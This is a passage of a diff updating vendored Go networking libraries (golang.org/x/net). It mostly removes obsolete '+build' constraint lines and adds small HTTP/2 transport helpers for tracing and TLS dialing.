@@ -3187,6 +3170,7 @@ func (sc *serverConn) startPush(msg *startPushRequest) {
panic(fmt.Sprintf("newWriterAndRequestNoBody(%+v): %v", msg.url, err))
}
+ sc.curHandlers++
go sc.runHandler(rw, req, sc.handler.ServeHTTP)
return promisedID, nil
}
diff --git a/vendor/golang.org/x/net/http2/transport.go b/vendor/golang.org/x/net/http2/transport.go
index 4515b22c4a..df578b86c6 100644
--- a/vendor/golang.org/x/net/http2/transport.go
+++ b/vendor/golang.org/x/net/http2/transport.go
@@ -1018,7 +1018,7 @@ func (cc *ClientConn) forceCloseConn() {
if !ok {
return
}
- if nc := tlsUnderlyingConn(tc); nc != nil {
+ if nc := tc.NetConn(); nc != nil {
nc.Close()
}
}
@@ -3201,3 +3201,34 @@ func traceFirstResponseByte(trace *httptrace.ClientTrace) {
trace.GotFirstResponseByte()
}
}
+
+func traceHasWroteHeaderField(trace *httptrace.ClientTrace) bool {
+ return trace != nil && trace.WroteHeaderField != nil
+}
+
+func traceWroteHeaderField(trace *httptrace.ClientTrace, k, v string) {
+ if trace != nil && trace.WroteHeaderField != nil {
+ trace.WroteHeaderField(k, []string{v})
+ }
+}
+
+func traceGot1xxResponseFunc(trace *httptrace.ClientTrace) func(int, textproto.MIMEHeader) error {
+ if trace != nil {
+ return trace.Got1xxResponse
+ }
+ return nil
+}
+
+// dialTLSWithContext uses tls.Dialer, added in Go 1.15, to open a TLS
+// connection.
+func (t *Transport) dialTLSWithContext(ctx context.Context, network, addr string, cfg *tls.Config) (*tls.Conn, error) {
+ dialer := &tls.Dialer{
+ Config: cfg,
+ }
+ cn, err := dialer.DialContext(ctx, network, addr)
+ if err != nil {
+ return nil, err
+ }
+ tlsCn := cn.(*tls.Conn) // DialContext comment promises this will always succeed
+ return tlsCn, nil
+}
diff --git a/vendor/golang.org/x/net/icmp/helper_posix.go b/vendor/golang.org/x/net/icmp/helper_posix.go
index 6c3ebfaed4..f625483f06 100644
--- a/vendor/golang.org/x/net/icmp/helper_posix.go
+++ b/vendor/golang.org/x/net/icmp/helper_posix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows
package icmp
diff --git a/vendor/golang.org/x/net/icmp/listen_posix.go b/vendor/golang.org/x/net/icmp/listen_posix.go
index 6aea804788..b7cb15b7dc 100644
--- a/vendor/golang.org/x/net/icmp/listen_posix.go
+++ b/vendor/golang.org/x/net/icmp/listen_posix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows
package icmp
diff --git a/vendor/golang.org/x/net/icmp/listen_stub.go b/vendor/golang.org/x/net/icmp/listen_stub.go
index 1acfb74b60..7b76be1cb3 100644
--- a/vendor/golang.org/x/net/icmp/listen_stub.go
+++ b/vendor/golang.org/x/net/icmp/listen_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows
package icmp
diff --git a/vendor/golang.org/x/net/idna/go118.go b/vendor/golang.org/x/net/idna/go118.go
index c5c4338dbe..712f1ad839 100644
--- a/vendor/golang.org/x/net/idna/go118.go
+++ b/vendor/golang.org/x/net/idna/go118.go
@@ -5,7 +5,6 @@
// license that can be found in the LICENSE file.
//go:build go1.18
-// +build go1.18
package idna
diff --git a/vendor/golang.org/x/net/idna/idna10.0.0.go b/vendor/golang.org/x/net/idna/idna10.0.0.go
index 64ccf85feb..7b37178847 100644
--- a/vendor/golang.org/x/net/idna/idna10.0.0.go
+++ b/vendor/golang.org/x/net/idna/idna10.0.0.go
@@ -5,7 +5,6 @@
// license that can be found in the LICENSE file.
//go:build go1.10
-// +build go1.10
// Package idna implements IDNA2008 using the compatibility processing
// defined by UTS (Unicode Technical Standard) #46, which defines a standard to
diff --git a/vendor/golang.org/x/net/idna/idna9.0.0.go b/vendor/golang.org/x/net/idna/idna9.0.0.go
index ee1698cefb..cc6a892a4a 100644
--- a/vendor/golang.org/x/net/idna/idna9.0.0.go
+++ b/vendor/golang.org/x/net/idna/idna9.0.0.go
@@ -5,7 +5,6 @@
// license that can be found in the LICENSE file.
//go:build !go1.10
-// +build !go1.10
// Package idna implements IDNA2008 using the compatibility processing
// defined by UTS (Unicode Technical Standard) #46, which defines a standard to
diff --git a/vendor/golang.org/x/net/idna/pre_go118.go b/vendor/golang.org/x/net/idna/pre_go118.go
index 3aaccab1c5..40e74bb3d2 100644
--- a/vendor/golang.org/x/net/idna/pre_go118.go
+++ b/vendor/golang.org/x/net/idna/pre_go118.go
@@ -5,7 +5,6 @@
// license that can be found in the LICENSE file.
//go:build !go1.18
-// +build !go1.18
package idna
diff --git a/vendor/golang.org/x/net/idna/tables10.0.0.go b/vendor/golang.org/x/net/idna/tables10.0.0.go
index d1d62ef459..c6c2bf10a6 100644
--- a/vendor/golang.org/x/net/idna/tables10.0.0.go
+++ b/vendor/golang.org/x/net/idna/tables10.0.0.go
@@ -1,7 +1,6 @@
// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT.
//go:build go1.10 && !go1.13
-// +build go1.10,!go1.13
package idna
diff --git a/vendor/golang.org/x/net/idna/tables11.0.0.go b/vendor/golang.org/x/net/idna/tables11.0.0.go
index 167efba712..76789393cc 100644
--- a/vendor/golang.org/x/net/idna/tables11.0.0.go
+++ b/vendor/golang.org/x/net/idna/tables11.0.0.go
@@ -1,7 +1,6 @@
// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT.
//go:build go1.13 && !go1.14
-// +build go1.13,!go1.14
package idna
diff --git a/vendor/golang.org/x/net/idna/tables12.0.0.go b/vendor/golang.org/x/net/idna/tables12.0.0.go
index ab40f7bcc3..0600cd2ae5 100644
--- a/vendor/golang.org/x/net/idna/tables12.0.0.go
+++ b/vendor/golang.org/x/net/idna/tables12.0.0.go
@@ -1,7 +1,6 @@
// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT.
//go:build go1.14 && !go1.16
-// +build go1.14,!go1.16
package idna
diff --git a/vendor/golang.org/x/net/idna/tables13.0.0.go b/vendor/golang.org/x/net/idna/tables13.0.0.go
index 66701eadfb..2fb768ef6d 100644
--- a/vendor/golang.org/x/net/idna/tables13.0.0.go
+++ b/vendor/golang.org/x/net/idna/tables13.0.0.go
@@ -1,7 +1,6 @@
// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT.
//go:build go1.16 && !go1.21
-// +build go1.16,!go1.21
package idna
diff --git a/vendor/golang.org/x/net/idna/tables15.0.0.go b/vendor/golang.org/x/net/idna/tables15.0.0.go
index 40033778f0..5ff05fe1af 100644
--- a/vendor/golang.org/x/net/idna/tables15.0.0.go
+++ b/vendor/golang.org/x/net/idna/tables15.0.0.go
@@ -1,7 +1,6 @@
// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT.
//go:build go1.21
-// +build go1.21
package idna
diff --git a/vendor/golang.org/x/net/idna/tables9.0.0.go b/vendor/golang.org/x/net/idna/tables9.0.0.go
index 4074b5332e..0f25e84ca2 100644
--- a/vendor/golang.org/x/net/idna/tables9.0.0.go
+++ b/vendor/golang.org/x/net/idna/tables9.0.0.go
@@ -1,7 +1,6 @@
// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT.
//go:build !go1.10
-// +build !go1.10
package idna
diff --git a/vendor/golang.org/x/net/idna/trie12.0.0.go b/vendor/golang.org/x/net/idna/trie12.0.0.go
index bb63f904b3..8a75b96673 100644
--- a/vendor/golang.org/x/net/idna/trie12.0.0.go
+++ b/vendor/golang.org/x/net/idna/trie12.0.0.go
@@ -5,7 +5,6 @@
// license that can be found in the LICENSE file.
//go:build !go1.16
-// +build !go1.16
package idna
diff --git a/vendor/golang.org/x/net/idna/trie13.0.0.go b/vendor/golang.org/x/net/idna/trie13.0.0.go
index 7d68a8dc13..fa45bb9074 100644
--- a/vendor/golang.org/x/net/idna/trie13.0.0.go
+++ b/vendor/golang.org/x/net/idna/trie13.0.0.go
@@ -5,7 +5,6 @@
// license that can be found in the LICENSE file.
//go:build go1.16
-// +build go1.16
package idna
diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr.go b/vendor/golang.org/x/net/internal/socket/cmsghdr.go
index 4bdaaaf1ad..33a5bf59c3 100644
--- a/vendor/golang.org/x/net/internal/socket/cmsghdr.go
+++ b/vendor/golang.org/x/net/internal/socket/cmsghdr.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_bsd.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_bsd.go
index 0d30e0a0f2..68f438c845 100644
--- a/vendor/golang.org/x/net/internal/socket/cmsghdr_bsd.go
+++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_bsd.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd
-// +build aix darwin dragonfly freebsd netbsd openbsd
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_32bit.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_32bit.go
index 4936e8a6f3..058ea8de89 100644
--- a/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_32bit.go
+++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_32bit.go
@@ -3,8 +3,6 @@
// license that can be found in the LICENSE file.
//go:build (arm || mips || mipsle || 386 || ppc) && linux
-// +build arm mips mipsle 386 ppc
-// +build linux
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_64bit.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_64bit.go
index f6877f98fd..3ca0d3a0ab 100644
--- a/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_64bit.go
+++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_64bit.go
@@ -3,8 +3,6 @@
// license that can be found in the LICENSE file.
//go:build (arm64 || amd64 || loong64 || ppc64 || ppc64le || mips64 || mips64le || riscv64 || s390x) && linux
-// +build arm64 amd64 loong64 ppc64 ppc64le mips64 mips64le riscv64 s390x
-// +build linux
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_solaris_64bit.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_solaris_64bit.go
index d3dbe1b8e0..6d0e426cdd 100644
--- a/vendor/golang.org/x/net/internal/socket/cmsghdr_solaris_64bit.go
+++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_solaris_64bit.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build amd64 && solaris
-// +build amd64,solaris
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_stub.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_stub.go
index 1d9f2ed625..7ca9cb7e78 100644
--- a/vendor/golang.org/x/net/internal/socket/cmsghdr_stub.go
+++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go
index 19d46789de..0211f225bf 100644
--- a/vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go
+++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/complete_dontwait.go b/vendor/golang.org/x/net/internal/socket/complete_dontwait.go
index 5b1d50ae72..2038f29043 100644
--- a/vendor/golang.org/x/net/internal/socket/complete_dontwait.go
+++ b/vendor/golang.org/x/net/internal/socket/complete_dontwait.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris
-// +build darwin dragonfly freebsd linux netbsd openbsd solaris
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/complete_nodontwait.go b/vendor/golang.org/x/net/internal/socket/complete_nodontwait.go
index be63409583..70e6f448b0 100644
--- a/vendor/golang.org/x/net/internal/socket/complete_nodontwait.go
+++ b/vendor/golang.org/x/net/internal/socket/complete_nodontwait.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || windows || zos
-// +build aix windows zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/empty.s b/vendor/golang.org/x/net/internal/socket/empty.s
index 90ab4ca3d8..49d79791e0 100644
--- a/vendor/golang.org/x/net/internal/socket/empty.s
+++ b/vendor/golang.org/x/net/internal/socket/empty.s
@@ -3,6 +3,5 @@
// license that can be found in the LICENSE file.
//go:build darwin && go1.12
-// +build darwin,go1.12
// This exists solely so we can linkname in symbols from syscall.
diff --git a/vendor/golang.org/x/net/internal/socket/error_unix.go b/vendor/golang.org/x/net/internal/socket/error_unix.go
index 78f4129047..7a5cc5c43e 100644
--- a/vendor/golang.org/x/net/internal/socket/error_unix.go
+++ b/vendor/golang.org/x/net/internal/socket/error_unix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/iovec_32bit.go b/vendor/golang.org/x/net/internal/socket/iovec_32bit.go
index 2b8fbb3f3d..340e53fbda 100644
--- a/vendor/golang.org/x/net/internal/socket/iovec_32bit.go
+++ b/vendor/golang.org/x/net/internal/socket/iovec_32bit.go
@@ -3,8 +3,6 @@
// license that can be found in the LICENSE file.
//go:build (arm || mips || mipsle || 386 || ppc) && (darwin || dragonfly || freebsd || linux || netbsd || openbsd)
-// +build arm mips mipsle 386 ppc
-// +build darwin dragonfly freebsd linux netbsd openbsd
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/iovec_64bit.go b/vendor/golang.org/x/net/internal/socket/iovec_64bit.go
index 2e94e96f8b..26470c191a 100644
--- a/vendor/golang.org/x/net/internal/socket/iovec_64bit.go
+++ b/vendor/golang.org/x/net/internal/socket/iovec_64bit.go
@@ -3,8 +3,6 @@
// license that can be found in the LICENSE file.
//go:build (arm64 || amd64 || loong64 || ppc64 || ppc64le || mips64 || mips64le || riscv64 || s390x) && (aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || zos)
-// +build arm64 amd64 loong64 ppc64 ppc64le mips64 mips64le riscv64 s390x
-// +build aix darwin dragonfly freebsd linux netbsd openbsd zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/iovec_solaris_64bit.go b/vendor/golang.org/x/net/internal/socket/iovec_solaris_64bit.go
index f7da2bc4d4..8859ce1035 100644
--- a/vendor/golang.org/x/net/internal/socket/iovec_solaris_64bit.go
+++ b/vendor/golang.org/x/net/internal/socket/iovec_solaris_64bit.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build amd64 && solaris
-// +build amd64,solaris
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/iovec_stub.go b/vendor/golang.org/x/net/internal/socket/iovec_stub.go
index 14caf52483..da886b0326 100644
--- a/vendor/golang.org/x/net/internal/socket/iovec_stub.go
+++ b/vendor/golang.org/x/net/internal/socket/iovec_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/mmsghdr_stub.go b/vendor/golang.org/x/net/internal/socket/mmsghdr_stub.go
index 113e773cd5..4825b21e3e 100644
--- a/vendor/golang.org/x/net/internal/socket/mmsghdr_stub.go
+++ b/vendor/golang.org/x/net/internal/socket/mmsghdr_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !linux && !netbsd
-// +build !aix,!linux,!netbsd
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/mmsghdr_unix.go b/vendor/golang.org/x/net/internal/socket/mmsghdr_unix.go
index 41883c530c..311fd2c789 100644
--- a/vendor/golang.org/x/net/internal/socket/mmsghdr_unix.go
+++ b/vendor/golang.org/x/net/internal/socket/mmsghdr_unix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || linux || netbsd
-// +build aix linux netbsd
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_bsd.go b/vendor/golang.org/x/net/internal/socket/msghdr_bsd.go
index 25f6847f99..ebff4f6e05 100644
--- a/vendor/golang.org/x/net/internal/socket/msghdr_bsd.go
+++ b/vendor/golang.org/x/net/internal/socket/msghdr_bsd.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd
-// +build aix darwin dragonfly freebsd netbsd openbsd
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_bsdvar.go b/vendor/golang.org/x/net/internal/socket/msghdr_bsdvar.go
index 5b8e00f1cd..62e6fe8616 100644
--- a/vendor/golang.org/x/net/internal/socket/msghdr_bsdvar.go
+++ b/vendor/golang.org/x/net/internal/socket/msghdr_bsdvar.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || netbsd
-// +build aix darwin dragonfly freebsd netbsd
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_linux_32bit.go b/vendor/golang.org/x/net/internal/socket/msghdr_linux_32bit.go
index b4658fbaeb..3dd07250a6 100644
--- a/vendor/golang.org/x/net/internal/socket/msghdr_linux_32bit.go
+++ b/vendor/golang.org/x/net/internal/socket/msghdr_linux_32bit.go
@@ -3,8 +3,6 @@
// license that can be found in the LICENSE file.
//go:build (arm || mips || mipsle || 386 || ppc) && linux
-// +build arm mips mipsle 386 ppc
-// +build linux
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_linux_64bit.go b/vendor/golang.org/x/net/internal/socket/msghdr_linux_64bit.go
index 42411affad..5af9ddd6ab 100644
--- a/vendor/golang.org/x/net/internal/socket/msghdr_linux_64bit.go
+++ b/vendor/golang.org/x/net/internal/socket/msghdr_linux_64bit.go
@@ -3,8 +3,6 @@
// license that can be found in the LICENSE file.
//go:build (arm64 || amd64 || loong64 || ppc64 || ppc64le || mips64 || mips64le || riscv64 || s390x) && linux
-// +build arm64 amd64 loong64 ppc64 ppc64le mips64 mips64le riscv64 s390x
-// +build linux
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_solaris_64bit.go b/vendor/golang.org/x/net/internal/socket/msghdr_solaris_64bit.go
index 3098f5d783..e212b50f8d 100644
--- a/vendor/golang.org/x/net/internal/socket/msghdr_solaris_64bit.go
+++ b/vendor/golang.org/x/net/internal/socket/msghdr_solaris_64bit.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build amd64 && solaris
-// +build amd64,solaris
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_stub.go b/vendor/golang.org/x/net/internal/socket/msghdr_stub.go
index eb79151f6a..e876776459 100644
--- a/vendor/golang.org/x/net/internal/socket/msghdr_stub.go
+++ b/vendor/golang.org/x/net/internal/socket/msghdr_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go b/vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go
index 324e9ee7d1..529db68ee3 100644
--- a/vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go
+++ b/vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build s390x && zos
-// +build s390x,zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/norace.go b/vendor/golang.org/x/net/internal/socket/norace.go
index de0ad420fc..8af30ecfbb 100644
--- a/vendor/golang.org/x/net/internal/socket/norace.go
+++ b/vendor/golang.org/x/net/internal/socket/norace.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !race
-// +build !race
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/race.go b/vendor/golang.org/x/net/internal/socket/race.go
index f0a28a625d..9afa958083 100644
--- a/vendor/golang.org/x/net/internal/socket/race.go
+++ b/vendor/golang.org/x/net/internal/socket/race.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build race
-// +build race
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go b/vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go
index 8f79b38f74..0431390789 100644
--- a/vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go
+++ b/vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build linux
-// +build linux
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/rawconn_msg.go b/vendor/golang.org/x/net/internal/socket/rawconn_msg.go
index f7d0b0d2b8..7c0d7410bc 100644
--- a/vendor/golang.org/x/net/internal/socket/rawconn_msg.go
+++ b/vendor/golang.org/x/net/internal/socket/rawconn_msg.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows || zos
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/rawconn_nommsg.go b/vendor/golang.org/x/net/internal/socket/rawconn_nommsg.go
index 02f3285566..e363fb5a89 100644
--- a/vendor/golang.org/x/net/internal/socket/rawconn_nommsg.go
+++ b/vendor/golang.org/x/net/internal/socket/rawconn_nommsg.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !linux
-// +build !linux
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/rawconn_nomsg.go b/vendor/golang.org/x/net/internal/socket/rawconn_nomsg.go
index dd785877b6..ff7a8baf0b 100644
--- a/vendor/golang.org/x/net/internal/socket/rawconn_nomsg.go
+++ b/vendor/golang.org/x/net/internal/socket/rawconn_nomsg.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/sys_bsd.go b/vendor/golang.org/x/net/internal/socket/sys_bsd.go
index b258879d44..e7664d48be 100644
--- a/vendor/golang.org/x/net/internal/socket/sys_bsd.go
+++ b/vendor/golang.org/x/net/internal/socket/sys_bsd.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || openbsd || solaris
-// +build aix darwin dragonfly freebsd openbsd solaris
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/sys_const_unix.go b/vendor/golang.org/x/net/internal/socket/sys_const_unix.go
index 5d99f2373f..d7627f87eb 100644
--- a/vendor/golang.org/x/net/internal/socket/sys_const_unix.go
+++ b/vendor/golang.org/x/net/internal/socket/sys_const_unix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/sys_linux.go b/vendor/golang.org/x/net/internal/socket/sys_linux.go
index 76f5b8ae5d..08d4910778 100644
--- a/vendor/golang.org/x/net/internal/socket/sys_linux.go
+++ b/vendor/golang.org/x/net/internal/socket/sys_linux.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build linux && !s390x && !386
-// +build linux,!s390x,!386
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go b/vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go
index af964e6171..1d182470d0 100644
--- a/vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go
+++ b/vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build loong64
-// +build loong64
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/sys_linux_riscv64.go b/vendor/golang.org/x/net/internal/socket/sys_linux_riscv64.go
index 5b128fbb2a..0e407d1257 100644
--- a/vendor/golang.org/x/net/internal/socket/sys_linux_riscv64.go
+++ b/vendor/golang.org/x/net/internal/socket/sys_linux_riscv64.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build riscv64
-// +build riscv64
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/sys_posix.go b/vendor/golang.org/x/net/internal/socket/sys_posix.go
index 42b8f2340e..58d8654824 100644
--- a/vendor/golang.org/x/net/internal/socket/sys_posix.go
+++ b/vendor/golang.org/x/net/internal/socket/sys_posix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows || zos
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/sys_stub.go b/vendor/golang.org/x/net/internal/socket/sys_stub.go
index 7cfb349c0c..2e5b473c66 100644
--- a/vendor/golang.org/x/net/internal/socket/sys_stub.go
+++ b/vendor/golang.org/x/net/internal/socket/sys_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/sys_unix.go b/vendor/golang.org/x/net/internal/socket/sys_unix.go
index de823932b9..93058db5b9 100644
--- a/vendor/golang.org/x/net/internal/socket/sys_unix.go
+++ b/vendor/golang.org/x/net/internal/socket/sys_unix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/zsys_aix_ppc64.go b/vendor/golang.org/x/net/internal/socket/zsys_aix_ppc64.go
index 00691bd524..45bab004c1 100644
--- a/vendor/golang.org/x/net/internal/socket/zsys_aix_ppc64.go
+++ b/vendor/golang.org/x/net/internal/socket/zsys_aix_ppc64.go
@@ -3,7 +3,6 @@
// Added for go1.11 compatibility
//go:build aix
-// +build aix
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go b/vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go
index 6a94fec2c5..b6fc15a1a2 100644
--- a/vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go
+++ b/vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go
@@ -2,7 +2,6 @@
// cgo -godefs defs_linux.go
//go:build loong64
-// +build loong64
package socket
diff --git a/vendor/golang.org/x/net/internal/socket/zsys_linux_riscv64.go b/vendor/golang.org/x/net/internal/socket/zsys_linux_riscv64.go
index c066272ddd..e67fc3cbaa 100644
--- a/vendor/golang.org/x/net/internal/socket/zsys_linux_riscv64.go
+++ b/vendor/golang.org/x/net/internal/socket/zsys_linux_riscv64.go
@@ -2,7 +2,6 @@
// cgo -godefs defs_linux.go
//go:build riscv64
-// +build riscv64
package socket
diff --git a/vendor/golang.org/x/net/ipv4/control_bsd.go b/vendor/golang.org/x/net/ipv4/control_bsd.go
index b7385dfd95..c88da8cbe7 100644
--- a/vendor/golang.org/x/net/ipv4/control_bsd.go
+++ b/vendor/golang.org/x/net/ipv4/control_bsd.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd
-// +build aix darwin dragonfly freebsd netbsd openbsd
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/control_pktinfo.go b/vendor/golang.org/x/net/ipv4/control_pktinfo.go
index 0e748dbdc4..14ae2dae49 100644
--- a/vendor/golang.org/x/net/ipv4/control_pktinfo.go
+++ b/vendor/golang.org/x/net/ipv4/control_pktinfo.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || linux || solaris
-// +build darwin linux solaris
package ipv4
